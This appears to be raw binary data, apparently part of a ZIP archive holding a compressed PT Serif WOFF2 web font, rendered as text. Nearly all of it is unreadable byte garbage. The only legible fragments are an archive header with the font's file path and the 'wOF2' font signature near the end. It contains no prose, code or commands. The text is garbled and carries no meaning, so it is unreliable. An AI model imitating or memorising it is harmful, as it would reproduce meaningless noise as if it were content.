䝦XaEBLm>'wxY2UM9+uYED#Mil_5CtPlgڒ[*g櫪{SfVtIfQ.<o|L~YuqkkpbDYfg:ٖ_.Ob/[[p\J<TZ-*N?NrEm+t=_cxS//jwS'ٗ@0?"؎mu}@-K6"Y`DRkQnhg\D֬÷rk ;=$Yؤ]TF{Cgt)S*LY_;fگ)¾Ig0i9g*X`kp>c/|U c՚
,Q!E|yaRqѣ~G10j^-j/
%:07C$#$k_
e,QVE@Rie#1LI\~?nc`#5ܢm^&FoH3cx1Kebo~쑙:~(۪AokROǜ>d|1޳6VP0z@MM*_36ǩ7	hSi)d|ړ1ھ!O _Mףɔ	(̻~SECC76uQ`$&>GI߳4TεTRg[p)ϝ)CoBߟ;'fv:zi<_l~:ޙj_ZQ|9*TYQaԉ%ipy[ӓy+w0Q	WSۜo2>xfv$~!a	˶ӅW@Ϣ`XjTg.OHϦU$:bWufvNumJ#?Ni7~SHl亡ˍFUp~W
K1niry #n_F\jU*NHu͘*W9F~(\OTw7Q^D.Eǔ'
r=	6m|~]o -B1 >/M#%z"9D0
`wqmx/Z$JYL(m2p#(bEWtUXTq6 w&Zj|g[﹝4H٨N
Q/^9^yx@1wD/ }<˟\?[+j5wW>
4sI9]9w'%LFo𺫃>/i(BdpCQ!dbJ+Ll6纊~Ȫ}})0q_J^W	L?_}.<Զ~y9B#8GNֆʑ94v;ҕzЁC#	JN~P,u<:8_f`d?CpeRv.U.%u	7s~kdQO?s%zA8ZSFzԬf:s&
tׯ%*{gZH)KaggWԧjnDGcU\ggHBRlE?l+Xεx~*̜j@Iw76ϦZ4$D'KuzZO2 >QjXq67ScgtovE
JFaR%I$ƹtz5o-.5۩~p]z"qʡcfZQE?F%fnu76f-bAA5(9q'WTD硢9.=:>9]h	
Ku=cђ-*v^ 
9Va#YoAl5vɏ[T~\pG#ۄ<	tB@'-G7eLf{f0L~ɛѯK_dN87EZ*W3^ԿAhYhOpǖ~C(uL?̴)tf?1d
4O{(=Ȥ4,a	|ǰl} v2Hi<8F1g_BZ@czq̋דki27D7G]A"v<?Aa>%gtxn/-iJS˾"dMlU!#'E\抙A!*DEoZHRE7;n&3; _xk3\ahCՔ$úah]ʆq#ٺ
YnMy)Pp3U.ѳm\LO2.pwo˙F;Tvx :
=zM%Q<t^,a\,X{cn*JofFpԎsSN"Id1J-U?IbLгc.F6jgQ?YͤEhg:bEApm1w]΃Aמxh]3޲7#|B^I۳&Y4D\iGjh6@1&z jigHa*,dyXg{"$HT\1(0X:Tǘ%*8U		B"T1ڳ4UKTDh]}Zj&)tOܦAfW3NCϓfJ65򾥨۸q=8$Tpр*ƣeVNҟ7J_VbnxOA'HDWKfYgPd**2dNf`MFWPlv/<	mKPڡV+,kىtG
TC	&tkpBbJXo;v斂o.pV)"W9YFsAyȥ
B?QsGjhϜ1z'-oLj IiSL}F~KKO)rL`}1 25Rڥ>떋EdF.u;s=dlvS߶,i8W%⮥mxHœ]kH|k<n:mO-=	tu_R3S3!B؟ ǘz3m;?OU58y[rO:s9=Pug3@ysYt31N	6GVp̎ETM
z4QQ)7tHWj0޺Uu&tJI\}|^.ziS=i6,fo)ur
^v&^O	e3DTfnțiQړE/$ic%&l;OFD㾳XL9gn"KTDR^_[`u/i@so``9^G̉uU2ML{`ԊTv*7w]ߗ>6{ZFipz?"	pxiG6ݷr(۝?x̙G5trX/?~EOLe*L4r˘LYIčaAv*;< K55΍?t,GAb[OCc?֎m&&IҘ[t=hk%*.KǶ
wX7ɮ,jY<eb	feiߺU޸_nekU!zY;$dXI5Q{b٘OhfXI.G:AKuH3Pe[vO;ceJ(*o;ރS8<,lnؔ";Hmt1ǻ	O'rS~ѱD|Ng<_!͜8 l"1,$VᙾQ6[mx*H![פ[Q)y,̱g4EɶǾƪy'\J ;/<.tңRp=NE6\eaƙx!0<PR}ޤ|&#6mHcZDT9sf͞EAS''5ɟ_Hg=}aUFp	dOxa`+GVe k*pȽ+X1F[q~WS^].J!vX3ҙ/ʶwÈMNՂ{4Ij"]SF$P;"͢+k*?]%|U?Vx(ac#UZSzʎ.϶b-:rU ,ӆ f@!m[ذ~H5B6,
x6oZd?b%1JQfOg{)d)dDt(ziV ɜWőI_hLeC䢂"rZ6bp؋֯.^es9760lo]ooDyUpDS'PfqDs7Ʋǩ|QZN39KO5Ϟ>s#vYKv͘At\5HA*{C5nxUA* XCZU`ReY£ۣ5zo9_"J$9Jf}f{ʤ)llR_Y4ʠ(a׮gYJnf٧f:~?iڏ	~Pnqj$^dٺ*h"8F,&8F.4yahL+9v*~?R3E'`$E=MOMIVɖhRPb9*eݲ>~Lbu9k?si9=l[dܮH~͌l~ϸ=G[u_=d;oh'2<U]]/6ZCJՒ2Cj:Vg1Ǚ_ sI\oM`<7i8ۮS[1E8E󘱢Y:Je|TJ
),A/κ@N1sM0rD0~c@w/,Ǌs'Hl$)^]ogj3p Ju׳Sy#+G
\\ߨ˓1|*>ujXF
.5r+cb8Si._m;5ȝD
BB!RI*)Φd"|5n9˺-
JR	9^ʁYk+a.$@;m]`ŝ7=Gzۑ<iC3o_/izBUoS;=
SpٮzlvII75,$!TYn}CPO8 N'סLdoה&bޅ7tpfo4ZCuD&Y^(;C!l(Zv`2J
H.헋m8j8$IwK_d]/:Ż/IzDKNIHɐ\z|t҇Xn8Jr20T;u;:ڇ @i̳]ސִzAwh7h-Kcfy5_[}ƺ>xl5:>W@k#_h$akfBؓ ?g7(m1M<	Ck\` @fz9 zv
{lU>x0pUzv=XFӘt܋<;FH^}U6_'n^6"_"Sn; !}Jh e,ǮꞞJYȏuoT= L#ʕv#0kvn 0Czyc׸)f3Us:B˃?n(7 2ͧસ57O$oJQRĈ.Һrp=*}eob|y7&Rk$fDKϘ}L|01x[$9"SQ]Yy:?rΒ(v|1ذ	sڤ@[Te0%e%:%6H䒎|u=թÑcbsͦ;'`BgΘfƗP7MP-K{+j|YBGʑ)ض⡥UP EnS-L`+]aqӖ,F(ee8n=5ҧ6PJi-{ f!Zی$2Mrc&;;GܯZnP_MadH!V0ӈ%6qF	CcD;*ZT͉)Hh;%G;,_O\.#+FT	GRJmSu̵-8mt9A)=uEM	4\ 1

gQNoA`x"`9ERI(J[V
޸Br:!sYS8ur1=ꝹckH3$O[Pv~qiXÍ^}	܃ñ|'1r D!v5&rڿ'R oʡǣ#F
49&ŔO&Mڒ𿃻:~vǷ2:~g)gj{VwgpH=2ooė,WwRh93>ZR>Λϻ/?Q|bqB 9?ŭp>MB?=pP鹡Qaش	_?O#o-فT)fFwh嫎fIfwAׯaL	1Fhf_BT0x\@`77kCK1V"۽}#.7D B!jP]M~hs^h!G|B4Nݒ
1-Nuge;䶉(nHy-'Z'?I"	#Bඑ74>HAhw_ĘjB{nZQ/'>Z+Gt"m_/a,E 9ws,JшIנM	hQWb?1SDw
:
QߠyއjpDNA ī gL|rc:$6x涞VFL|eNǭ6b[М15!c_*y%wե=KPljkCX(p#C#x':3~)0"	xxo}~F;dR4:"LdyFOPXXTJXTeN`zo?ALNxDy,\SɸcU2zʟ1y)wLÂŧq$`*XgFft4] 8<8FݮN{tO&7uxV{؎:ֽN|)ebZFCnx;d$pvrxr=]G۶<9Z$A]5\`pT(0
KP 12#5͒gBG:md־rlľ0~@:>˴3n>BF&+ΨE(toA!$dc)17.Ap&$ʩ'&ti;p^nq4Q@~gt8<S`rɩWjtQ*RJ#qc
94S+^&*lwy8LMoRfR_'ϸ˷RZ_Dq=ϵ3qJ\2{W%әj8Y0UcP9}Q1bʩ˭29RK5SHXqii:$;cn,',j c&$6Zcuxi&vD.J,8ùEwJCg</1< )||aSAL=/nH{ÞihhYiгғ}K*G}%3:J1*)W,PMVh߁OoMjFI&ȧϙ킁4 h`;W^rYn*@L%D6'I/X#-d|ac潋0Q%`Kz+k\cj(2FEZ"]1ozSKEXCE5"0Znf~~e=օeGIvSpVqZ	!_#Y	zzgO"M@#MEDDOp,k=(izyL,8H`z0Kx}H&tGTS.Oҽ\c?f5HOT&@Ìx*)aY2,	UxQU@&LA[{
\Un^:C&+p+_}֌tRfP)tuZjKfÒ*H1q'gqܝ|O|C^-S7"b4TPuh*^br-x][|?I
599w--[ԟ2XZov&Kl}I^5"i|CB	%#I56yCkfuŖɜ8pM}{$r*?
fS!0t:C@&5?;DE`DwnƙHEH"bZw,JP~uΪ(O𼌓vOu\IahT=QPH5_Q5: ( GâX8!E$|`Ǣ&6S
H_y#`a$乚Fqr;2	-4܍8Ն{~s@f:IV'w>kICI뜋9c3p#<At-qnO(@֕n$F&>;lSu:c:jpQwT^~)++T`ZC  ! Ec;v3W*5:D[Scwzs_J 1Jf;C:6k;B	_jh#nؼyVE|JގG@|95ݹ{1GFMw`{#(ƍ3Mۑ!Ӄpm4Dٺ"j݂}G71ig!r9[nJaZ7X@.>#a_'[C*8}8l7="njFmЀkFx艊s8dL@vm M*l4oqƱڷ8RШ)3tFj|J6T@>*`z ]D<Zllf8rQ*ob5"cܫL<SR͕6ZE\ mbL։āG]@7gs^둘qAPFHL/6V2uުA)#AaqC3xP8L30q)-(ZSX634G%
p$t.!dc~򕫿o҈
Sm /
)@[jcg-oU6!H2m庱lD6؎"$Gp"#B/>	ؘu"%:<15d
9G[UM҂#{gS/]nex`	.gWVrǴk͙fb9Jo3mBھ.XK3-Fr!J.
3%h>&~7@pGz5/`:Gfl@Ga*Jsu4;pilmzXNlߏLag3U)<鬨 I$;,w<,Ĭm{.(ξ$ MhX3itӱ5vG"T/*T1SAziZ1U2ґwAzcEEfEe@6OḱQ{ZfG"c|r戅Ty`md8=g'T^\'ت^	6gA=;΢Wd]PMU1kL;+]_j׺ntLdR6|}FI3|;c3rwv/l#x[^fP6*TCձ/ļ_@y.Vh9 ThVB]DDP)_T	Q%%!B#GAwZcVʔB
y%IگݒurdYیч) f#xFʔ@rp䦤oyR0+	=_skw`qZ \N	(c坡}ʧIm@LLXռ_NTĊfJ
[)&`b1ECNO'^bMD޾1jBV2JZ`-5Hael:,li
ӓ@ȴĿ}"u-;]|[;DmOƾ=ѧH-]ːhrv@86?TXycC0 [ZW破ໞQV*qguna])L~\;R:\Lf7ē NNSk!bKyKgE.#tl=a]#Nrz (	e"fEFzřҊ^3ۍp}dBJK:פ92k[886ޟC<-aG'+=@z;^z{\`wYRgjwZ!3AqOEhhy3e./[BՑ=E UKu-:W>NvB[Sޘ0&n!]mb~Ζbe;㈎Q#O5d.x@3$mn#g;&nDBcR·s' o(c*1R@+mi{*kE `((Oz,Z6v~Й/}5u̟Vb+L0#`:b*ȝ~#ɨΐ:%ȩaT3?uS|~d+IoL}2) M5mv6U+S=:7ڔ@gͫ@ƢꟳX9Kug(NFq1$EQQB$>DC'zbIEȚY'}YsЂP;A]
VŔ$*4Wqv'߂~^PYۜb`CUd4tS:UM@ՒY+7+Qg$ۢ;*_rYky#1ˬm¢>Ø :"8 O;ыj6I9gchҾOƈ>M";Uԇ9TZvuSthwjp#1ɦcu7Nwf"}:v})J>GapMB-PʔSx8Pӡs^N6"1/3E~Ng19X78'Q+(|x)$L=۟۶N+6OOTu:nESY40bi34"@\
肔A0H	܃҇#ÓD!4dhGKނtHwor
YW4Xn!}F+(k}oٟb:xbw3Ƶ.Qh*ND$od8;7`a:.Lri0<k"˒.^M'ÊX}XmVZJӏDlV[>tfmUIaERoܞOژ l]qAZz[Wх]bZOs$Idi)j ؄J>CCG$pAxlDv`M;!-u&-) t4$ncy`S35US!&"%CCxN&nOUu7?yxsV_RKr?둩plve!'4?Gϓ.2D/^_3OhCZs8fI6#t;924t5;jB*z3xفO}ppmkm}%ܛp%׸ofUp>Hꩉ\GH]ҁfUa8;=z~w6KJ!ѱ)0L

.c=}=6Mؑ^q'{NF'ٹ_&7/m}j1";gsMI-3k	˼\}?7/=g+H>-pcՅ@a.9TO{:%l,>Hicq>3V/O:LfK2Knl,=!ZdPhN{bά?{`~8yݡɟgB/X>.Q.Z.44 #\`3x䩔Vi=u~aVoAlW
/hVh<BA/l8ƏkfKgmǫI$\uqq9nWǽ'țs8L+F#TZ«нfFE"@/haMXCc8<H~sp
xZglS4*lRYw>B929.sA[gX>?:$p &H§um{;2eHX+eGuYB}HoHw!fΗ`ݧ,`?IU(,c\ُ KTYg!@;$Wkzjv̍K>E]%UTjMJSE2v@#^e] 'Kv1Qr3|{D4|H&  inej,D'rw{I@]yY%ىCrgviF|j	xio27;i;OfxD7l=YG{vwQ7fwg	8x[/;#6ԌڦIE=SU8hR:'R$qfVni
M1eTWŞm/Vwg`a/4u*gSwt%2B P0'I(_ш!rcõQ1ޣ3 P)No]ӆh%:\5Gin=FNGbc	J61gco5FZ4]D7VƔ1)^X&LM@S2[]<}iXα:VsjH,ɭMu Y/
! ܰ;n[h?yp-A({m-g X~=3cIvQ)(*,/*}ZûV]֚X!CIdȐ5"\%`2.Ŵm)}[χ>zjP<~g@8@|bLx'& p Y]9~^|';'A13+'mk6dYyic5}Tm)ubU#NG:iu/QJ?̎Ahxaygo)1jhn99"ZG}GOL(R66K6<taVRm~T.
ொdJ6N[!dZ]!Lw]"KH}!\Ѯ!֏r^'-HMLdħvz$v'1۳G`E
iHa-B]L^P%<5
>guL#LH(LtY69|<<Z!`?+pU)p mFM0~Q+v	;(u	QcaӜ",3Zk#AÂ"	V-tZ=7 	KICOYWj[![iތe:kcr,9geM3{$1r*r_`B'm1!yxL)Tbg	.'y[9,q?6*-Hj;Ұ~zah!W+ǳ3`NR-,Jwӛa!IaO8aivחk{0AM v7n=]H1rtQaskF-Gm`pHRFJCNCYME>rsxő8a:%ى:MJ3ƅMjg5K>[`٬fɉ5M;H
f)1 	hQ,"꾉9G?S2&g%X42J _0p.;@'$Qk*R^#xm
DRLWQ`Oi.O#m'Ȋ6iN>_}VgUjD_Tܘ~U	IjiFj¾2+y"rV.V!ԾiZO#AM~!yr~|ƀf8IXe!FWQFy΅uT{Ǵ"h2Xr0>*!+v3aˈy#L,Op4y	^U	=YN~*(+X9i ;5{|0{qɪ=eY8O5n>77d[1o_*1ݼuoHRnEsyBB/D{	N|\ą0
4MVs` XPz4	#z]aTz}Oo6	KS2Mk&4K<,	jz! \qǿEXUt3F\F jɱ}BƥWrx.uI 22`\%s: J_
cġJiԯFJLLNzzS,
:9`}>wo>ںQ!xLs2C<1WP>W1_ab!{!>t]YXO#/qRqȾGwZh=[Δ'>^OvvY#rgtN }PL"hDi]QCP)$9Q{4(̡=U/h5얒1m95`z*wAC|
iMoֽ̟&;mt=}n?Zl5lI?xv͜;;;}%H\1+	@OyALC$9yGi^fAt۪{ȣ'y/bcWUɜKVorSWsa<?U<퉉VB56..9?
Ef	vC%	ò>5%Ҙ];{6Dȓ}Yg_hmuA3jWp*᝕ڧk#5_|_GYEKҋ}FXZ3=Xa^VvxS<ȅ>|WI=Ԗ:N,o5<Osݙ⭙<>dMW~E:B?h j
u. ?9sS.Ǐaf8XYؠR񙉅_pi~/4~0[h,msFK^Vv=F	iPf^X;6(N}?HOpDe/M7]P2h TS;$QWʖGϑvv*,uEвB<)/~Cnč)Pu1- Clsyl`,._DX%1Hog]yMa9N]tFPrG=)Vdp"1F6f$۠y.Vb֑N(	-y|{./׼x N{i}cyq<Lz+[??t^mrVLߧwkA+\,ԝ?\>yicI+s?UчRwΏS8<>^X- Ci	4 4UD5ZCPzpWꔿU{=f/x+bkˈ("=[TC*FBzF)) Wto7fߵ.mZ PihDp>A6Pv-D}rqUDo+}P*ɬL91ap)r-8qUNJ(qMZ|3N|l=cLSZifE󜨛bF=0Mm3MBV:e4Bn䲨ʕb;]雡ݤ=%W	¬d<SnRU	%nEq=IG(n׹*Ɲd8VuE5jڣl*H%):-lls
q1JMcguNVv -_Р($i87`fѷbɊ4Nz2x5Ky%(.K *iVJd}zGCcP^0TRhc6H54h6GFvn4+{ϊ&.Yol#N1;u;Q-
G^'=Z#͛ȹY1F` "ߺQWX#r(	J'9麹Jrf_/V8~A`ߕ#=\sqc*#:<պånSQփ"S峪?-訝GV+*OA<<@=_/eLMyU]#oHJ@\9dD4-5E^yLȕ8ޯrݢ({)^U)@';/_]
WUZV6\X/HV@3.?$jHc^|vkrmyn'SZ8KL*3(\"ve9

be{:y1qcTaǎ_tj$ZɮjDPi+X9nIH:7y}<9ltM{&ɮ|dxY˄+W
ت(V ,Rp$'٢N3Gv6^sB`1ηLy% e4!7e<f9cy߱2U'Ksan;$In*u}	| .Ű*ԔVJD=őB%V:*L}RfBsrxzaCJ4lE/x0A QP
<Zn$ms]2g
aE6?iS~oSҶiy<9霐ϋ3~b	'ٮج&̩TyujTc0oV/ѠM3. ,5Sb%x]j?r=7ၾK*}|jxwqWןgwb}8q25pE,yߤf[c|+Xلܣ ;li˵SLYV^Y+N)Ԯ{OEv!iofC,lw/'zく=V`:d}9{PՇ|@9sz{Ml%w.Aݼctޜ_F*ZM,\|%=8O!-ofeɖ᤼۳q63+kUznLcb1,iJboө{;+Mr(nj*nڢMk;SMOqA=zN%ə]W:K(~զcบ%Ge׻+j/+.[mO$7BeeHי1Ls@[${/&Ҭ	TIwnLhc݂WgNL2/	NUC_xTF<xK }|k7c_	{kָIMT[M7Grp]6x9 zz.#Sנ4%Htazu|w?J#:&9MךĆكoЧ8~ʳ;3/LSEFsNg8o9u/0c+^QMVx%%Jڮ^RPŹk5DV[g1uE<d5iV0A5
3<ZK	6xrf^
)։kPӰFPrk9+M|l0he35)sx˵[!}(/b,[ZbG*!XM0~LY{<_(VM _,6FEҡe=<|]	U$^fi`SD]t,W1+  ><	,ӗCEl<3ԜDĸHO*ݶȄ^1C.=h味]kTtj
zkN`*Qo/D9?ρ1~s#`S!o
gO@B*ӿ6Ք{]÷5Ҳ#yA_Vv?-@G @F43}_`|˱ai,*&kI(b}78{x*ǌ((Y@pJiZ'r^8ͬjڋإfw37nZJ3^ͨuGQӿ{5v^*!/kҝKldWBzm]3Ӛ'(+E.ǹq*TJTr!dxԑ :'&uy-ŝWW:%u`R7+λ[6.&^+zVʤ͊%1y̷/|\>M"7Xț_a9]hoހj]DS"uG{4a:06H諜b|_>K2/$ǻK@t-5
{A*2؉Ahh%u"Q#^4uDʐe3ct\J}Ǯ\x|] \o*5vEN"Bh(b:Y;T{h3q97lÆ8pfK/wx>]+S'"TFb)}Gr:E ezr^ǎDNk4޺Er]ϝ2N02M|)C(&+)w4'xe;HlґnBvvV`W԰O}rQH#׶ť
v}HPmSb?er  R@k%NqCD%T iX|S
zg*¯h8c^'0OlѠ
oV@b~M-V4ɥ
wY)ĉd}\cпV{L!AIP'Ieտ;OIZCc/w=^r!E`Ln=$g+)}KuGabw	-n.0UɦVLíu	mkIV;OO	3%g󵖴6(G9QnE)^t;@2k(E=mGN# tOI'=LnZ:|Ot}{ӵ6C{?\snD3,5ϓ@/SAyd]GI7g
n&eu@2Gn`dȯ=;%Z?wL~1{~Nυeo p/8fHi#ilG9RE~N(
-n&50A"+LO\b3rs1띶ؘo&v^)y Wi3VC3\ s]C/fkw;k
GDHJXՍB??.{huw)K}Fb=^d]	jUҸI|wͷ4L
#&D j5:7A\͈){^sU!ߞ,|mgLuP\J0;.
s[X۩l~አ	0ω~S)OԴw
XË4.GntjFtΏ\,^AwـV.\e~4c0aJs AMEBbN7R9b y/|QP 7 V%E+S&k̗mm~)H[3asK@P#Ȩ&>+u䒮/A[m^3\X9|ȗ:^*%MgjN ?讞bCgQ %!Oo(5}MMoUPF)zn=Fz`j SV~G`-}!_]2wx)9|a	כ(<OlָzCyR-xhiᯘi vXn15/;_;P-kV3i˳a;ə+fqr'g4.cj)AD.+	~n꿴ꦥ?Qn/D{71)L@@@@V1QUr,خgrQ<6nښ"	)R>ʉSSPdxKmʓcV|3ϋ6@#'@T>Qg>}K4PwK+dHO>呑'cYA3
lgsɽFEGNbǸ_,^Z(lѳ&aGGI0~yC!syør'.p[qitWTd.=  <II'+pA^K ΦMn[*Ɣߧ]׌sֹu(ޤkk!icnm0}+pݻiR{Nnry&Nk+{ ыm@kPՈgF?uyxEknu@Ǣޘa;<O
nb蒌MnQ<"Yx"&^ R('F |'{;'LvgN7"R,벍4|R2􉊅i-7WFx%[#A]i4s<|L6G۬MTG)Rd[O:V U]r3ʷ8!퀙&o#"Qhp@7w'T..}XNH-hmOoun*x} ;Yݮ*~I3QFZrᑻ:cWp}C| s-2#g4VFz=2M snXP??Kk(D$H֐ֺ<3{d9NfEB3
"_<vGy1pMfց%P,5JY.2e CnSLw_3@J"jbyX,SbH)6+W@L67Ӹ{p1-_޺wf/xqVdy"ƛ_wkf*NUvl,,4axT@&G5	D 5v=<hrPNr[X[e!$3fYos[kOi߁Tj7qcmDU F g[|9}ZLLnmR'~6R <˲0dRCpAۏlV3^yp4s%߫m0袅Vr;@>wð{TGje0zGY1&~T"S9*[g+iV	vmu?Xefx~j}<0F\D&oDzUDNJzB%<IandBha6# 	wߛT=ٛf8yvSqq*Ă奼!nRoCEmuXme=EDILl<.kH9+?oe׃ry%C&*-nV7H-fCj-!1<Yzwur(r	+Ri#wߚ͍	}+].R50eV8+2<&#IR]Y?L7}s
}穁)m=5=(*V&*=H&T&mǋEya|*OmeއV9k21S}fqv_oYq[F8Yvhoq,J}[f2N׆g։-R.Ѻ6u}C4]FL|C{l%*ڡu v<jhA˛~T*:oi>zt?ϓff|uSX84db/B镱eabrylnqdy:9nsB-SIsv=@AXʟWK|V~:CeoRkD4QV@vZ}I)--Ã"SjyM\aHN:;&+3=B$,,KXjW ILgvǽ ! #1\0[;[f>$fb$nlDsg(!|a1*āmZn{ Ҹ2b2S̈́'H¸]dF.KER ݵH@1 %ޓ+@gA$ّf!Y29bJm&<bItwL{J}y}vYɃ^C̯$6Xz@ 2Lq)ވV}vm!^@dWw1<Pz.&2RVpB階L82v^M')fU7IBHR#0 ǢDA	_1s:^/cDp"t~^D>LROH:qw
YLWk,D%vuT>H"TVU0 $jӄGB/J}/k<k҉`RSDMdN]Ql&>mӶḘo~/9T!NYSB\V#0f\oC|XLR5H=cb% 9u:tZ=3>R^?V&_k&v%W3>Bwf9&LchKsTw!-Y9%m	{3+,P[mhl3~5 i~p\dZ\ra)M\wg
Tzx*gw(!h5g*WYr5_#­\[y_1_]D:yD3Cg֏*K&7>UgK&0 5[.Te*<EE[r;8C8l>!K:{žE´2*`?]Xq2=`E!PChu3QV3Rv(fgS	õbn_ b)DY~ﺲ/5Tc+E6	MF"z-gl{t>o	4FW׺ T&-嫺\	ym3-	đ/դ1/<(Zjq=DQ*Syv&Gsf9z|8ݑuxhTb>)݋%c!KAoue\([bk6F3@ɑPmν[,+V|}^?܊ǥ[L-I(F5\IMP/Y썂_8Mޓk]ڗRG;.Vz߯I+uU-7;{d! ϑC#J{_O*nY+^^=kd	K0}l+mSE0s<s#-Fo-VGǸmsmZ"e|d7zad.Rb6}||a/^˳w=7$aiO[T85Dc7c>դsܶ"g;o%~L=G[C0^|~<jEۄlt9YŕDmk5\=g6Ҿy{>_3eQ ť|W\wEX8}}D]Փ3mQ~]_Ocܱmrsjm˃^߁mY}/.WoڄUeI0Df
$QR 2}V/nRoHSA|㏿3͒ZԶMbaP|]k۳mGu{G9wǵUM{ӳ7",M\!EC|LC먕zJ7%75q6\oka[dn)߶>\/=mۧ7g`k܍}_w͚v,,δYqg0DCWMi{a}q6VkOeBuLsgien^K'{Cfg\	 m,TnvOSomѱ_fn`a(*üF]߶8.ކnEUӺś|ɯϻozٯ1hm箪!8fBlVѲ%j,b&uc79ښ+ZhaT):{mBztɽ=5n^QhV-ikv+Ee^_+"?f\:,-ijd1?Do\a#*=#7Dv`wnb3QcC.l,nB;%}⠥2aRA^PPAUAz5<mg'$ϟ|l3)_Vc1w[&uT_?"HFW䚬#DۀZ	YRA5|K߃Ie@$mDRM Z>GB.2۴Yk]ql_7^1Kxf$Dz(hoP͛umL
׍,aJ5.$K?Q	{4p[Cӱ2p%#Jzx5oUo2ZaFnFm8lB<xVysx:1naT2BT*Grj25b'6Ʊl*AT)T^mlWI2JEedKP!T*l*B9Q# "!c`baO@(XXq%3[s5QUOMeQQޜCGV6r88g-pSfu\oXfv;Suc~k1uS,YlJ|gklq)*SKrƹ}ҥr[oUn.^xeZ5hЫM~6c=7hj&d/nZ`vi=NI3l6#&$'}Ixg@fPg},(,n[elEF{XK=WT,\dd.iz=SkS@4o?8BVR_0L&>ŅKRZt7GP)ĢyDJkq* m8\K@x"tDBx3yDy!?Z ߻Ot'伉.%M	.#~'wc["i"0G:9r_Zr9-Z$"[]Jr$r1eT PK     N\Էyx  x  .  fonts/ptserif/EJRVQgYoZZY2vCFuvAFbzr-tdg.woff2nu [        wOF2     x    P  xd                       2` >	
0J^ h6$8 J']v ?@vhG Hi?-Iim?g)ū>DOoG3X/71Rd&,wN']*^{0 _sVoI,.djU!@5(IZ/F6"sz u>s2~{/S26'9I^܏"b	ruQ$To;v@	$Ppփ,T{\ Á)2ijm/-˙yho]W\.6Q$ M`<ڈ_$MK9*zq/gi9+. iֲ LQKRQ-]HlI$2h^|<P߶cŁ`x^g#[3	!A!<
p5.-AQzGUZcPsl&TD(KrA`s,+<VWP^EDz\W%ZRtSgb[A1DlzBv/{P8}?̟Ϧ%Y"-fe(CdPW*:\>W4peNS zBڏbW ߧiԍh7Z6rIAY2ʶk<Om)-i,3W5]A:{]4)J"p!@tIiR$Jr-/sKOɰg2~v&.ZmmUKˆ08T0*պ=U"!UZwE_Hfa1DjfS۝Wb*|U - g(ȞI:PT:YŸtV3U"n=F4ƅeVhB|Ra7m#
&t?|o]1pI"[]u,$yy ͉:.	)Jpw%ɬ-[)Iw=B{)<sh}
3T@Hp}lZ;2ZL9Mf5\k51+|u85I6: \09GߘٹZ25q걛KBtɄ(N.:Ȏ[\
2.m0]BFn	{c9icyht90(+j~Fox<RqK>P>;ky1bḺtjd{8),Y^ {D}޼k#*!B2ld({μg}woQ6_iϛ߈M$I~,ٛ9ҫȗ[?G]'mT%{B/;ӨRG6{%ZMxوbI a&'67=W]N6n&նK!*<*K9Mn$]vCh'(H0!^b"E#ZxzF&	ȷ\ͬR%[BPekR5ij6˵YN]mn{!DY<Uy126XA<yyDJɶ͑:lhf\B	$5!|1Oi+m`,\K;&pxժ[! 
ܭP/dX)r\-(KBY9"SdIrc+`ut<F;>l4FOJd	(}au
N*#T
ADWJ:ӈ}aD\\(. nLqk	?{V4p50+ B̽+{_M5~NY}Vo/};'-筯bY٢5_FONr<ق:`ܿbj[<#'9mH^+N;^׸	XpiAҖi'Em!6Y#ở%cgv`a+UW؏YSfYW6(mcaVd˃ 9HGۉp[k=bq69H7?{ht6gAmv4֕p!Ɖި]~V(飯'5`p+\ؼ}'Wۥzb56S`횠Mk5t65Jg,c0ʯ`F4Ӭg9]Ê;VOV}.q;9t]5":6校ѻUp
ߒDF	k扃H51Q5K`#xSRI5B=7Wz1Y5em͈gX=rw뷖@OǛNp[;v睡1&ϖo\gqs4^ŇcN#gLu|,Wf2]'xgj5ڮn~gA-G$Zo1ȿ9Q_C2%S1%$9.WǨ IWsfj"2	I h[q7t E'I"K&I>`v9OPʺ]XHKTЦ(PI5rO3`>^*;xp5qרM,p)Wj!3&	/2QCN(A#g=cS7KR'brH_QF)@f
ð>N hqWMD6ϳ)Π:;Nhg(xF>be2+C*.`_,ZD\vA<sh
K5B>W<dnQE4{`
Шp%ռ=DiŔoR}q@TgaQ~-^zi/"+eukZY+K%r7<G_z97uL69_ܵ8G)&|$fgPABMw	B׃gzmڭd`g`uy t2Π,ٓ[T/@#B#خ*.Cj1nWŒC40|5g1+6샛H}M屖%TOyst6H%BnGT`⫹a)m,C;SmxŖΧUH=ӓZ#975|uso3x"ž `eJ)nH|va@*C2U+&vT)%7'y|ݞ;_r:GK=UǃIr<EF+*l7bُ0k0SzIB]>'9ǸotKD(J.irL@D<ؒ5]X[vA(u)t]N)ц9:־lTףb%h4f^=]r;dJQHW/22 Ƒzғ@G1"UFSS
;cm%?h\;CnNӏ8s';.7TΥ5b꾈a"unHǺWM9YJ)DFB%Nwkqϋ>@?TJּvPr#9eCZꛊOY!J0Efygڪ>a)a
I4:#iLfXf1T:xo,Io05Xg7D+%{5WD~Q|vjOp.H0xaU`Sd5Λ$@ԣՆqBKϊ$zXJ!OcPMD$6MD~7q2Yvԁ`.sCNgSOX1$2qEeU\U/,\|VGG._%b_sxB;f΄H56V=}gJQvm-#O+²$O=MRVr71hhL}6wzїayJUDK#Tsў$(7$6	.P;'hzE!aqO8~ZHGRBJ:X$[X4QqV8NS;Q$
ݪTv<]bAZuB*rI`e`lPCcMݟ+ι@4Q/IDӶ3:sT)w}Ԃg/x#QJSϥ) Ui䑾`U&B_&MElG,;쒗Hމ])	v]x9x%!*]y'QVJ<hzN^XbNvv#Ɗ(ߺvq(lDr0	}LU.=B?'%uj
>1U6cNԍ<@_<rFnC2=~FȘEy~[{\4r@ptb)Op>bl~Fu	Gg00}-_T4+Y`W/KϏe#
|Ev٩/6=qe[$6Zm'`z E)lcgk	+
!CL-)ws֦*t L9VU4²U
j	Ͷ k$JI)&;
@ȵ7
:G荐X16Hӂ*mOʳ!;x=HQ7K,e8`Ұuת#$|#x᳉m?IT &bt'}P!{޵	swӪism|$o @>x{xX^5Iy[V֬\^f#B<qiF)k\  cXt6i5Sj'b=@	7-<3e[
#/F]F_YKߺp7o#;8z4tqkHӢRL$E-%vYMGfgSUlz<20KꚟT]FYZq0PP44)]	v&t<N֠i ݤ (A)9gQd5c7M}%U&dm&:qџ( 'X[?2vc;k4##
;(#HGuPPL GoY'8\0y{TUS/J#4sSgTA~!7N5U*Ζ4hÚhE\iof=j+Sй+e_4ߚ Y`fU+_H*#)/k?Y%$
s-O$ÚjJ?bþ;a%cc݇o{^L A~z *۩E2T
